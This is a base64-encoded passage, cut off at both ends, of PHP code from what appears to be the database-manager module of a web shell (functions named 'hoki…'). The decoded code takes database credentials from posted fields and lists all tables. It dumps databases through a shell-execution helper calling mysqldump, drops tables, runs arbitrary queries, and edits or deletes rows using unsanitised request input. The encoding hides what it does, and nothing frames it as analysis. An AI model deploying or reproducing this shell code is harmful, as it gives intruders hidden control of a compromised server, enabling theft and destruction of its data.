GwodGhpcyk7Jz5FZGl0PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtcXVlcnktY29udGVudCBteXNxbC1pbnNlcnQtcm93IG15c3FsLWhpZGUtY29udGVudCc+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtcXVlcnktY29udGVudCBteXNxbC1lZGl0LXJvdyBteXNxbC1oaWRlLWNvbnRlbnQnPjwvZGl2PjxkaXYgY2xhc3M9J215c3FsLXF1ZXJ5LWNvbnRlbnQgbXlzcWwtc2VhcmNoLWFyZWEgbXlzcWwtaGlkZS1jb250ZW50Jz48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS1jb250ZW50IG15c3FsLXN0cnVjdHVyZSBteXNxbC1oaWRlLWNvbnRlbnQnPjwvZGl2PjxkaXYgY2xhc3M9J215c3FsLXF1ZXJ5LWNvbnRlbnQgbXlzcWwtcXVlcnktZm9ybSBteXNxbC1oaWRlLWNvbnRlbnQnPjxkaXYgc3R5bGU9J21hcmdpbi1ib3R0b206IDVweDsnPjxzcGFuPlF1ZXJ5Ojwvc3Bhbj48L2Rpdj48dGV4dGFyZWEgbmFtZT0ncXVlcnknIHN0eWxlPSd3aWR0aDo5MCU7aGVpZ2h0OjEwMHB4Jz48L3RleHRhcmVhPjxwPjxkaXYgc3R5bGU9J2Zsb2F0OmxlZnQ7bWFyZ2luLWxlZnQ6IDMwcHg7Jz48aW5wdXQgY2xhc3M9J2J1dHRvbiBkYi1vcHQtaWQnIGRiX3RhcmdldD0nIi4kX1BPU1RbJ3NxbF9iYXNlJ10uIicgb25jbGljaz0naG9raU15c3FsUXVlcnkodGhpcyk7cmV0dXJuIGZhbHNlOycgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9kaXY+PC9wPjwvZGl2PjxkaXYgY2xhc3M9J215c3FsLXF1ZXJ5LWNvbnRlbnQgbXlzcWwtcXVlcnktcmVzdWx0LWNvbnRlbnQnPjxkaXYgY2xhc3M9J215c3FsLXF1ZXJ5LXJlc3VsdC1oZWFkZXInPjxkaXYgc3R5bGU9J21hcmdpbi1ib3R0b206IDEwcHg7JyBjbGFzcz0nbXlzcWwtcXVlcnktcmVwb3J0ZXInPjwvZGl2PjxkaXYgY2xhc3M9J215c3FsLXF1ZXJ5LXBhZ2VyJz48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC1xdWVyeS10YWJsZSc+PC9kaXY+PC9kaXY+PC9mb3JtPjwvdGQ+PC90cj4iOwp9CmVjaG8gIjwvdGFibGU+PC9kaXY+IjsKZWNobyAiPC9kaXY+IjsKfWVsc2V7CmVjaG8gaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpOwp9CmVjaG8gJzwvZGl2Pic7Cmhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBob2tpU3FsX21hbmFnZXJfYXBpKCl7CgkkZGIgPSAkX1BPU1RbImhva2kxIl07CgkkdHlwZSA9ICRfUE9TVFsiaG9raTIiXTsKCSRzcWxfY291bnQgPSAkX1BPU1RbImhva2kzIl0gPT0gInRydWUiID8gdHJ1ZSA6IGZhbHNlOwoJJGRiID0gQGpzb25fZGVjb2RlKCRkYiwgdHJ1ZSk7CgkkY29ubiA9IEBteXNxbGlfY29ubmVjdCgkZGJbImhvc3QiXSwgJGRiWyJ1c2VyIl0sICRkYlsicGFzcyJdLCAkZGJbImRiIl0pOwoJQG15c3FsaV9zZXRfY2hhcnNldCgkY29ubiwgInV0ZjgiKTsKCWlmKCRjb25uKXsKCQlpZigkdHlwZSA9PSAibG9hZF9hbGxfdGFibGVzIil7CgkJCSR0YWJsZXMgPSBhcnJheSgpOwoJCQkkcV90YWJsZXMgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAiU0VMRUNUIGB0YWJsZV9zY2hlbWFgLCBgdGFibGVfbmFtZWAgRlJPTSBgaW5mb3JtYXRpb25fc2NoZW1hYC5gdGFibGVzYCBXSEVSRSBgdGFibGVfc2NoZW1hYCBJTiAoJyIuaW1wbG9kZSgiJywnIiwgJGRiWyJkYXRhYmFzZXMiXSkuIicpOyIpOwoJCQkkY291bnQgPSAwOwoJCQl3aGlsZSgkcm93ID0gQG15c3FsaV9mZXRjaF9hc3NvYygkcV90YWJsZXMpKXsKCQkJCWlmKCRzcWxfY291bnQpewoJCQkJCSRjb3VudF9xID0gQG15c3FsaV9xdWVyeSgkY29ubiwgJ1NFTEVDVCBDT1VOVCgqKSBGUk9NIGAnLiRyb3dbInRhYmxlX3NjaGVtYSJdLidgLmAnLiRyb3dbInRhYmxlX25hbWUiXS4nYCcpOwoJCQkJCWlmKCRjb3VudF9xKXsKCQkJCQkJJGNvdW50ID0gQG15c3FsaV9mZXRjaF9yb3coJGNvdW50X3EpOwoJCQkJCQkkY291bnQgPSAkY291bnRbMF07CgkJCQkJfQoJCQkJfQoJCQkJJHRhYmxlc1skcm93WyJ0YWJsZV9zY2hlbWEiXV1bXSA9IGFycmF5KCJuYW1lIiA9PiAkcm93WyJ0YWJsZV9uYW1lIl0sICJjb3VudCIgPT4gKGludCkkY291bnQpOwoJCQl9CgkJCWZvcmVhY2goJGRiWyJkYXRhYmFzZXMiXSBhcyAkZGIpewoJCQkJaWYoIWlzc2V0KCR0YWJsZXNbJGRiXSkpewoJCQkJCSR0YWJsZXNbJGRiXSA9IG51bGw7CgkJCQl9CgkJCX0KCQkJZWNobyBAanNvbl9lbmNvZGUoJHRhYmxlcyk7CgkJfWVsc2VpZigkdHlwZSA9PSAiZHVtcF9kcm9wIil7CgkJCWlmKCRkYlsibW9kZSJdID09ICJkcm9wIil7CgkJCQlmb3JlYWNoICgkZGJbInRhYmxlcyJdIGFzICR0YWJsZSkgewoJCQkJCUBteXNxbGlfcXVlcnkoJGNvbm4sICJEUk9QIFRBQkxFIGAiLiR0YWJsZS4iYDsiKTsKCQkJCX0KCQkJCSR0YWJsZXMgPSBhcnJheSgpOwoJCQkJJHFfdGFibGVzID0gQG15c3FsaV9xdWVyeSgkY29ubiwgIlNIT1cgVEFCTEVTOyIpOwoJCQkJJGNvdW50ID0gMDsKCQkJCXdoaWxlKCRyb3cgPSBAbXlzcWxpX2ZldGNoX2FycmF5KCRxX3RhYmxlcykpewoJCQkJCWlmKCRzcWxfY291bnQpewoJCQkJCQkkY291bnRfcSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICdTRUxFQ1QgQ09VTlQoKikgRlJPTSBgJy4kcm93WzBdLidgJyk7CgkJCQkJCWlmKCRjb3VudF9xKXsKCQkJCQkJCSRjb3VudCA9IEBteXNxbGlfZmV0Y2hfcm93KCRjb3VudF9xKTsKCQkJCQkJCSRjb3VudCA9ICRjb3VudFswXTsKCQkJCQkJfQoJCQkJCX0KCQkJCQkkdGFibGVzW10gPSBhcnJheSgibmFtZSIgPT4gJHJvd1swXSwgImNvdW50IiA9PiAoaW50KSRjb3VudCk7CgkJCQl9CgkJCQllY2hvIEBqc29uX2VuY29kZSgkdGFibGVzKTsKCQkJfWVsc2V7CgkJCQlpZihzdHJsZW4oaG9raUV4KCJteXNxbGR1bXAiKSk+MCl7CgkJCQkJaG9raUV4KCJteXNxbGR1bXAgLS1zaW5nbGUtdHJhbnNhY3Rpb24gLS1ob3N0PVwiIi4kZGJbImhvc3QiXS4iXCIgLS11c2VyPVwiIi4kZGJbInVzZXIiXS4iXCIgLS1wYXNzd29yZD1cIiIuJGRiWyJwYXNzIl0uIlwiICIuJGRiWyJkYiJdLiIgIi5pbXBsb2RlKCIgIiwgJGRiWyJ0YWJsZXMiXSkuIiAgPiAiLiRkYlsiZHVtcF9maWxlIl0pOwoJCQkJfWVsc2V7CgkJCQkJJGZwID0gQGZvcGVuKCRkYlsiZHVtcF9maWxlIl0sICJ3Iik7CgkJCQkJZm9yZWFjaCAoJGRiWyJ0YWJsZXMiXSBhcyAkdGFibGUpIHsKCQkJCQkJJHJlcyA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICdTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKTsKCQkJCQkJJGNyZWF0ZSA9IEBteXNxbGlfZmV0Y2hfYXJyYXkoJHJlcyk7CgkJCQkJCSRzcWwgPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgYCIuJHRhYmxlLiJgO1xuIiAuICRjcmVhdGVbMV0uIjtcbiI7CgkJCQkJCWlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsKCQkJCQkJJHRibF9kYXRhID0gQG15c3FsaV9xdWVyeSgkY29ubiwgJ1NFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJyk7CgkJCQkJCSRoZWFkID0gdHJ1ZTsKCQkJCQkJd2hpbGUoJGl0ZW0gPSBAbXlzcWxpX2ZldGNoX2Fzc29jKCR0YmxfZGF0YSkpewoJCQkJCQkJJGNvbHVtbnMgPSBhcnJheSgpOwoJCQkJCQkJZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsKCQkJCQkJCWlmKCR2ID09IG51bGwpCgkJCQkJCQkkaXRlbVska10gPSAiJyciOwoJCQkJCQkJZWxzZWlmKGlzX251bWVyaWMoJHYpKQoJCQkJCQkJJGl0ZW1bJGtdID0gJHY7CgkJCQkJCQllbHNlCgkJCQkJCQkkaXRlbVska10gPSAiJyIuQG15c3FsaV9yZWFsX2VzY2FwZV9zdHJpbmcoJGNvbm4sICR2KS4iJyI7CgkJCQkJCQkkY29sdW1uc1tdID0gImAiLiRrLiJgIjsKCQkJCQkJCX0KCQkJCQkJCWlmKCRoZWFkKSB7CgkJCQkJCQkkc3FsID0gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4iKSBWQUxVRVMgXG5cdCgiLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpJzsKCQkJCQkJCSRoZWFkID0gZmFsc2U7CgkJCQkJCQl9IGVsc2UKCQkJCQkJCSRzcWwgPSAiXG5cdCwoIi5pbXBsb2RlKCIsICIsICRpdGVtKS4nKSc7CgkJCQkJCQlpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7CgkJCQkJCX0KCQkJCQkJaWYoISRoZWFkKQoJCQkJCQkJaWYoJGZwKSBmd3JpdGUoJGZwLCAiO1xuXG4iKTsgZWxzZSBlY2hvKCI7XG5cbiIpOwoJCQkJCX0KCQkJCX0KCQkJCWVjaG8gQGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiID0+IHRydWUsICJmaWxlIiA9PiAkZGJbImR1bXBfZmlsZSJdKSk7CgkJCX0KCQl9ZWxzZWlmKCR0eXBlID09ICJsb2FkX3RhYmxlcyIpewoJCQkkdGFibGVzID0gYXJyYXkoKTsKCQkJJHFfdGFibGVzID0gQG15c3FsaV9xdWVyeSgkY29ubiwgIlNIT1cgVEFCTEVTOyIpOwoJCQkkY291bnQgPSAwOwoJCQl3aGlsZSgkcm93ID0gQG15c3FsaV9mZXRjaF9hcnJheSgkcV90YWJsZXMpKXsKCQkJCWlmKCRzcWxfY291bnQpewoJCQkJCSRjb3VudF9xID0gQG15c3FsaV9xdWVyeSgkY29ubiwgJ1NFTEVDVCBDT1VOVCgqKSBGUk9NIGAnLiRyb3dbMF0uJ2AnKTsKCQkJCQlpZigkY291bnRfcSl7CgkJCQkJCSRjb3VudCA9IEBteXNxbGlfZmV0Y2hfcm93KCRjb3VudF9xKTsKCQkJCQkJJGNvdW50ID0gJGNvdW50WzBdOwoJCQkJCX0KCQkJCX0KCQkJCSR0YWJsZXNbXSA9IGFycmF5KCJuYW1lIiA9PiAkcm93WzBdLCAiY291bnQiID0+IChpbnQpJGNvdW50KTsKCQkJfQoJCQllY2hvIEBqc29uX2VuY29kZSgkdGFibGVzKTsKCQl9ZWxzZWlmKCR0eXBlID09ICJhbHRlciIpewoJCQkkZGJbImFsdGVyIl1bInR5cGUiXSA9IHN0cnRvbG93ZXIoJGRiWyJhbHRlciJdWyJ0eXBlIl0pOwoJCQkkaW5wdXRzID0gJGRiWyJhbHRlciJdWyJ0eXBlIl0uIigiLiRkYlsiYWx0ZXIiXVsiaW5wdXQiXS4iKSI7CgkJCSR0ZXh0X2lucHV0ID0gYXJyYXkoImxvbmd0ZXh0IiwgInRleHQiLCAibWVkaXVtdGV4dCIsICJ0aW55dGV4dCIpOwoJCQlpZihpbl9hcnJheSgkZGJbImFsdGVyIl1bInR5cGUiXSwgJHRleHRfaW5wdXQpKXsKCQkJCSRpbnB1dHMgPSAkZGJbImFsdGVyIl1bInR5cGUiXTsKCQkJfQoJCQlAbXlzcWxpX3F1ZXJ5KCRjb25uLCAiQUxURVIgVEFCTEUgYCIuJGRiWyJ0YWJsZSJdLiJgIE1PRElGWSBDT0xVTU4gYCIuJGRiWyJjb2x1bW4iXS4iYCAiIC4gJGlucHV0cyk7CgkJCSRlcnJvciA9IEBteXNxbGlfZXJyb3IoJGNvbm4pOwoJCQlpZigkZXJyb3IpewoJCQkJZWNobyAkZXJyb3I7CgkJCX1lbHNlewoJCQkJZWNobyAib2siOwoJCQl9CgkJfWVsc2VpZigkdHlwZSA9PSAiZWRpdCIgfHwgJHR5cGUgPT0gImRlbGV0ZSIgfHwgJHR5cGUgPT0gImRlbGV0ZV9hbGwiKXsKCQkJaWYoJHR5cGUgPT0gImVkaXQiKXsKCQkJCSRxID0gQG15c3FsaV9xdWVyeSgkY29ubiwgIlNFTEVDVCAqIEZST00gYCIuJGRiWyJkYiJdLiJgLmAiLiRkYlsidGFibGUiXS4iYCBXSEVSRSBgIi4kZGJbImNvbF9rZXkiXS4iYCA9ICciLmFkZHNsYXNoZXMoJGRiWyJrZXkiXSkuIicgTElNSVQgMCwxIik7CgkJCQkkcm93ID0gQG15c3FsaV9mZXRjaF9hc3NvYygkcSk7CgkJCQlpZigkcm93KXsKCQkJCQkkY29sdW1uc19xdWVyeSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICJTRUxFQ1QgQ09MVU1OX05BTUUgYXMgbmFtZSwgQ09MVU1OX1RZUEUsIERBVEFfVFlQRSBhcyB0eXBlIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgV0hFUkUgYFRBQkxFX1NDSEVNQWAgPSAnIi4kZGJbImRiIl0uIicgQU5EIGBUQUJMRV9OQU1FYCA9ICciLiRkYlsidGFibGUiXS4iJyIpOwoJCQkJCSRjb2x1bW5zID0gYXJyYXkoKTsKCQkJCQkkZWRpdF9kYXRhID0gYXJyYXkoKTsKCQkJCQl3aGlsZSgkcm93MiA9IEBteXNxbGlfZmV0Y2hfYXJyYXkoJGNvbHVtbnNfcXVlcnksIE1ZU1FMSV9BU1NPQykpewoJCQkJCQkkaW5wdXQgPSBhcnJheSgiY29sX3R5cGUiID0+ICRyb3cyWyJDT0xVTU5fVFlQRSJdKTsKCQkJCQkJJHJvdzJbInR5cGUiXSA9IHN0cnRvbG93ZXIoJHJvdzJbInR5cGUiXSk7CgkJCQkJCXN3aXRjaCgkcm93MlsidHlwZSJdKXsKCQkJCQkJCWNhc2UgImxvbmd0ZXh0IjogY2FzZSAidGV4dCI6IGNhc2UgIm1lZGl1bXRleHQiOiBjYXNlICJ0aW55dGV4dCI6CgkJCQkJCQkJJGlucHV0WyJ0YWciXSA9ICJ0ZXh0YXJlYSI7CgkJCQkJCQlicmVhazsKCQkJCQkJCWNhc2UgImludCI6IGNhc2UgInNtYWxsaW50IjogY2FzZSAiYmlnaW50IjogY2FzZSAidGlueWludCI6IGNhc2UgIm1lZGl1bWludCI6CgkJCQkJCQkJJGlucHV0WyJ0YWciXSA9ICJpbnB1dCI7CgkJCQkJCQkJJGlucHV0WyJ0eXBlIl0gPSAibnVtYmVyIjsKCQkJCQkJCWJyZWFrOwoJCQkJCQkJZGVmYXVsdDoKCQkJCQkJCQkkaW5wdXRbInRhZyJdID0gImlucHV0IjsKCQkJCQkJCQkkaW5wdXRbInR5cGUiXSA9ICJ0ZXh0IjsKCQkJCQkJfQoJCQkJCQkkY29sdW1uc1skcm93MlsibmFtZSJdXSA9ICRpbnB1dDsKCQkJCQl9CgkJCQkJZm9yZWFjaCgkcm93IGFzICRrZXkgPT4gJHYpewoJCQkJCQkkZWRpdF9kYXRhW10gPSBhcnJheSgiY29sIiA9PiAka2V5LCAidmFsdWUiID0+IGh0bWxzcGVjaWFsY2hhcnMoJHYsIEVOVF9RVU9URVMsICdVVEYtOCcpLCAidHlwZSIgPT4gJGNvbHVtbnNbJGtleV0pOwoJCQkJCX0KCQkJCQllY2hvIEBqc29uX2VuY29kZSgkZWRpdF9kYXRhKTsKCQkJCX0KCQkJfWVsc2V7CgkJCQlpZigkdHlwZSA9PSAiZGVsZXRlX2FsbCIpewoJCQkJCSRyb3dzID0gaW1wbG9kZSgiJywgJyIsICRkYlsicm93cyJdKTsKCQkJCX1lbHNlewoJCQkJCSRyb3dzID0gYWRkc2xhc2hlcygkZGJbImtleSJdKTsKCQkJCX0KCQkJCSRxdWVyeSA9ICJERUxFVEUgRlJPTSBgIi4kZGJbImRiIl0uImAuYCIuJGRiWyJ0YWJsZSJdLiJgIFdIRVJFIGAiLiRkYlsiY29sX2tleSJdLiJgIElOICgnIi4kcm93cy4iJykiOwoJCQkJQG15c3FsaV9xdWVyeSgkY29ubiwgJHF1ZXJ5KTsKCQkJCSRlcnJvciA9IEBteXNxbGlfZXJyb3IoJGNvbm4pOwoJCQkJaWYoJGVycm9yKXsKCQkJCSAJJHN0YXR1cyA9IGZhbHNlOwoJCQkJfWVsc2V7CgkJCQkgCSRzdGF0dXMgPSB0cnVlOwoJCQkJfQoJCQkJZWNobyBAanNvbl9lbmNvZGUoYXJyYXkoInN0YXR1cyIgPT4gJHN0YXR1cywgImVycm9yIiA9PiAkZXJyb3IsICJxdWVyeSIgPT4gJHF1ZXJ5KSk7CgkJCX0KCQl9ZWxzZWlmKCR0eXBlID09ICJ1cGRhdGUiKXsKCQkJJHF1ZXJ5ID0gIlVQREFURSBgIi4kZGJbImRiIl0uImAuYCIuJGRiWyJ0YWJsZSJdLiJgIFNFVCAiOwoJCQlmb3JlYWNoKCRkYlsiZGF0YSJdIGFzICRjb2wgPT4gJHZhbCl7CgkJCQkkcXVlcnkgLj0gImAiLiRjb2wuImAgPSAnIi5teXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCRjb25uLCAkdmFsKS4iJywiOwoJCQl9CgkJCSRxdWVyeSA9IHN1YnN0cigkcXVlcnksIDAsIC0xKTsKCQkgICAgJHF1ZXJ5IC49ICJXSEVSRSBgIi4kZGJbImNvbF9rZXkiXS4iYCA9ICciLiRkYlsia2V5Il0uIiciOwoJCQkkcmVzID0gQG15c3FsaV9xdWVyeSgkY29ubiwgJHF1ZXJ5KTsKCQkJZWNobyBAanNvbl9lbmNvZGUoYXJyYXkoInN0YXR1cyIgPT4gJHJlcywgImVycm9yIiA9PiBAbXlzcWxpX2Vycm9yKCRjb25uKSkpOwoJCX1lbHNlaWYoJHR5cGUgPT0gImluc2VydCIpewoJCQkkcXVlcnkgPSAiSU5TRVJUIElOVE8gYCIuJGRiWyJkYiJdLiJgLmAiLiRkYlsidGFibGUiXS4iYCAiOwoJCQlmb3JlYWNoKCRkYlsiZGF0YSJdIGFzICRjb2wgPT4gJHZhbCl7CgkJCQkkY29scyAuPSAkY29sIC4gIiwiOwoJCQkJJHZhbHMgLj0gIiciLm15c3FsaV9yZWFsX2VzY2FwZV9zdHJpbmcoJGNvbm4sICR2YWwpLiInLCI7CgkJCX0KCQkJJGNvbHMgPSBzdWJzdHIoJGNvbHMsIDAsIC0xKTsKCQkJJHZhbHMgPSBzdWJzdHIoJHZhbHMsIDAsIC0xKTsKCQkJJHF1ZXJ5ID0gJHF1ZXJ5IC4gIigiIC4gJGNvbHMgLiAiKSIgLiAiVkFMVUVTKCIgLiAkdmFscyAuICIpIjsKCQkJJHJlcyA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICRxdWVyeSk7CgkJCWVjaG8gQGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiID0+ICRyZXMsICJlcnJvciIgPT4gQG15c3FsaV9lcnJvcigkY29ubikpKTsKCQl9ZWxzZXsKCQkJJHBhZ2VzID0gMDsKCQkJJHRpdGxlID0gZmFsc2U7CgkJCSRxdWVyeSA9ICIiOwoJCQkkdGJsX2NvbnRlbnQgPSAnPHRhYmxlIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMSIgY2VsbHBhZGRpbmc9IjIiIGNsYXNzPSJtYWluIG15c3FsLWRhdGEtdGJsIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMjkyOTI5Ij4nOwoJCQkkbGluZSA9IDA7CgkJCSR0YWJsZXMgPSBhcnJheSgpOwoJCQkkY29sdW1ucyA9IGFycmF5KCk7CgkJCWlmKCR0eXBlID09ICJsb2FkX2RhdGEiKXsKCQkJCSRxdWVyeSA9ICJTRUxFQ1QgKiBGUk9NIGAiLiRkYlsiZGIiXS4iYC5gIi4kZGJbInRhYmxlIl0uImAgTElNSVQgMCwzMCI7CgkJCQkkdGJsX2NvdW50X3EgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAiU0VMRUNUIENPVU5UKCopIEZST00gYCIuJGRiWyJkYiJdLiJgLmAiLiRkYlsidGFibGUiXS4iYCIpOwoJCQkJJHRibF9jb3VudCA9IEBteXNxbGlfZmV0Y2hfcm93KCR0YmxfY291bnRfcSk7CgkJCQkkY29sdW1uc19xdWVyeSA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICJTRUxFQ1QgQ09MVU1OX05BTUUgYXMgbmFtZSwgQ09MVU1OX1RZUEUgYXMgdHlwZSwgQ09MTEFUSU9OX05BTUUgYXMgY29sbGF0aW9uLCBEQVRBX1RZUEUgYXMgZGF0YV90eXBlLCBDSEFSQUNURVJfTUFYSU1VTV9MRU5HVEggYXMgdHlwZV92YWx1ZSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIFdIRVJFIGBUQUJMRV9TQ0hFTUFgID0gJyIuJGRiWyJkYiJdLiInIEFORCBgVEFCTEVfTkFNRWAgPSAnIi4kZGJbInRhYmxlIl0uIiciKTsKCQkJCXdoaWxlKCRyb3cyID0gQG15c3FsaV9mZXRjaF9hcnJheSgkY29sdW1uc19xdWVyeSwgTVlTUUxJX0FTU09DKSl7CgkJCQkJJGNvbHVtbnNbXSA9ICRyb3cyOwoJCQkJfQoJCQkJaWYoJHRibF9jb3VudFswXSA+IDMwKXsKCQkJCQkkcGFnZXMgPSBjZWlsKCR0YmxfY291bnRbMF0gLyAzMCk7CgkJCQl9CgkJCX1lbHNlaWYoJHR5cGUgPT0gInF1ZXJ5Iil7CgkJCQkkcXVlcnkgPSAkZGJbInF1ZXJ5Il07CgkJCX1lbHNlaWYoJHR5cGUgPT0gInBhZ2UiKXsKCQkJCSRkYlsicGFnZSJdID0gKGludCkkZGJbInBhZ2UiXSAtIDE7CgkJCQkkcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIi4kZGJbImRiIl0uImAuYCIuJGRiWyJ0YWJsZSJdLiJgIExJTUlUICIuKCRkYlsicGFnZSJdKjMwKS4iLDMwIjsKCQkJfWVsc2VpZigkdHlwZSA9PSAic2VhcmNoIil7CgkJCQkkc2VhcmNoID0gIiI7CgkJCQkkc2VhcmNoX25vdmFsID0gYXJyYXkoIj0gJyciLCAiIT0gJyciLCAiSVMgTlVMTCIsICJJUyBOT1QgTlVMTCIpOwoJCQkJZm9yZWFjaCgkZGJbInNlYXJjaCJdIGFzICRjb2wgPT4gJHZhbCl7CgkJCQkJJHNlYXJjaF9ub3ZhbF9yID0gaW5fYXJyYXkoJHZhbFsib3B0Il0sICRzZWFyY2hfbm92YWwpOwoJCQkJCWlmKGVtcHR5KCR2YWxbInZhbHVlIl0pICYmICEkc2VhcmNoX25vdmFsX3IpY29udGludWU7CgkJCQkJaWYoc3Ryc3RyKCR2YWxbIm9wdCJdLCAiLi4uIikgfHwgJHNlYXJjaF9ub3ZhbF9yKXsKCQkJCQkJJHZhbFsib3B0Il0gPSBzdHJfcmVwbGFjZSgiLi4uIiwgJHZhbFsidmFsdWUiXSwgJHZhbFsib3B0Il0pOwoJCQkJCQkkc2VhcmNoIC49ICRjb2wgLiAiICIgLiAkdmFsWyJvcHQiXSAuICIgQU5EICI7CgkJCQkJfWVsc2V7CgkJCQkJCSRzZWFyY2ggLj0gJGNvbCAuICIgIiAuICR2YWxbIm9wdCJdIC4gIiAnIi5hZGRzbGFzaGVzKCR2YWxbInZhbHVlIl0pLiInIEFORCAiOwoJCQkJCX0KCQkJCX0KCQkJCSRzZWFyY2ggLj0gIjE9MSI7CgkJCQkkcXVlcnkgPSAiU0VMRUNUICogRlJPTSBgIi4kZGJbImRiIl0uImAuYCIuJGRiWyJ0YWJsZSJdLiJgIFdIRVJFICIgLiAkc2VhcmNoOwoJCQl9CgkJCSRxX3RhYmxlcyA9IEBteXNxbGlfcXVlcnkoJGNvbm4sICRxdWVyeSk7CgkJCWlmKCEkcV90YWJsZXMpewoJCQkJZWNobyBAanNvbl9lbmNvZGUoYXJyYXkoInN0YXR1cyIgPT4gZmFsc2UsICJlcnJvciIgPT4gQG15c3FsaV9lcnJvcigkY29ubiksICJxdWVyeSIgPT4gJHF1ZXJ5KSk7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQkJJGNvbF9rZXkgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAiU0VMRUNUIENPTFVNTl9OQU1FIEZST00gSU5GT1JNQVRJT05fU0NIRU1BLkNPTFVNTlMgV0hFUkUgVEFCTEVfU0NIRU1BID0gJyIuQGFkZHNsYXNoZXMoJGRiWyJkYiJdKS4iJyBBTkQgVEFCTEVfTkFNRSA9ICciLkBhZGRzbGFzaGVzKCRkYlsidGFibGUiXSkuIicgQU5EIENPTFVNTl9LRVkgPSAnUFJJJyIpOwoJCQlpZigkY29sX2tleSl7CgkJCQkkY29sX2tleSA9IEBteXNxbGlfZmV0Y2hfcm93KCRjb2xfa2V5KTsKCQkJCSRjb2xfa2V5ID0gJGNvbF9rZXlbMF07CgkJCQlpZighZW1wdHkoJGNvbF9rZXkpKXsKCQkJCQkkdGJsX2NvbnRlbnQgPSAnPGRpdiBzdHlsZT0ibWFyZ2luLWJvdHRvbTo1cHg7bWFyZ2luLXRvcDo1cHg7Ij48YnV0dG9uIGNvbF9rZXk9IicuJGNvbF9rZXkuJyIgdGJsX25hbWU9IicuJGRiWyJ0YWJsZSJdLiciIGRiX2lkPSInLiRkYlsiZGJfaWQiXS4nIiAJZGJfdGFyZ2V0PSInLiRkYlsiZGIiXS4nIiBvbmNsaWNrPSJob2tpTXlzcWxEZWxldGVBbGxTZWxlY3RlZHJvd3ModGhpcyk7cmV0dXJuIGZhbHNlOyI+RGVsZXRlIFNlbGVjdGVkIFJvd3M8L2J1dHRvbj48L2Rpdj48dGFibGUgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIxIiBjZWxscGFkZGluZz0iMiIgY2xhc3M9Im1haW4gbXlzcWwtZGF0YS10YmwiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiMyOTI5MjkiPic7CgkJCQl9CgkJCX1lbHNlewoJCQkJJGNvbF9rZXkgPSBmYWxzZTsKCQkJfQoJCQl3aGlsZSgkaXRlbSA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHFfdGFibGVzKSl7CgkJCQlpZighJHRpdGxlKXsKCQkJCQkkdGJsX2NvbnRlbnQgLj0gJzx0ciBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMzA1YjhlOyI+JzsKCQkJCQlpZigkY29sX2tleSl7CgkJCQkJCSR0YmxfY29udGVudCAuPSAnPHRoIHN0eWxlPSJ3aWR0aDogNTVweDt0ZXh0LWFsaWduOmNlbnRlcjsiPjxpbnB1dCBkYl9pZD0iJy4kZGJbImRiX2lkIl0uJyIgb25jaGFuZ2U9Imhva2lNeXNxbFRibFNlbGVjdEFsbCh0aGlzKTsiIHR5cGU9ImNoZWNrYm94Ij48L3RoPjx0aCBzdHlsZT0id2lkdGg6IDU1cHg7dGV4dC1hbGlnbjpjZW50ZXI7Ij5FZGl0PC90aD48dGggc3R5bGU9IndpZHRoOiA1NXB4O3RleHQtYWxpZ246Y2VudGVyOyI+RGVsZXRlPC90aD4nOwoJCQkJCX0KCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKXsKCQkJCQkJJHRibF9jb250ZW50IC49ICc8dGg+Jy4ka2V5Lic8L3RoPic7CgkJCQkJfQoJCQkJCXJlc2V0KCRpdGVtKTsKCQkJCQkkdGl0bGU9dHJ1ZTsKCQkJCQkkdGJsX2NvbnRlbnQgLj0gJzwvdHI+PHRyPic7CgkJCQl9CgoJCQkJaWYoJGNvbF9rZXkpewoJCQkJCSRjYWNoZU1zZyA9ICc8dGQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+PGlucHV0IHJvd19pZD0iJy4kbGluZS4nIiB0eXBlPSJjaGVja2JveCIgbmFtZT0idGJsX3Jvd3NfY2hlY2tib3hbXSIgdmFsdWU9IicuJGl0ZW1bJGNvbF9rZXldLiciPjwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxhIGNsYXNzPSJkYi1vcHQtaWQiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIGRiX2lkPSInLiRkYlsiZGJfaWQiXS4nIiBkYl90YX